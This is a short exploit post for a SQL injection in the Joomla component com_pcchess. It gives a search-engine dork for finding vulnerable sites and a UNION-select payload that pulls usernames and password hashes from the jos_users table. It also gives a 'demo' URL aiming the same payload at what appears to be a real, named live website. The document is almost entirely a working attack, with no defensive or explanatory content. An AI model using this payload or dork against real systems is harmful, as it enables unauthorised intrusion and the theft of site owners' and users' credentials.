joomla SQL Injection(com_pcchess)

DORK :

allinurl: com_pcchess

Exploit :

Quote:

index.php?option=com_pcchess&Itemid=S@BUN&page=players&user_id=-9999999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/*

Demo

Quote:

http://www.spaug.is/index.php?option=com_pcchess&Itemid=S@BUN&page=players&user_id=-9999999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/*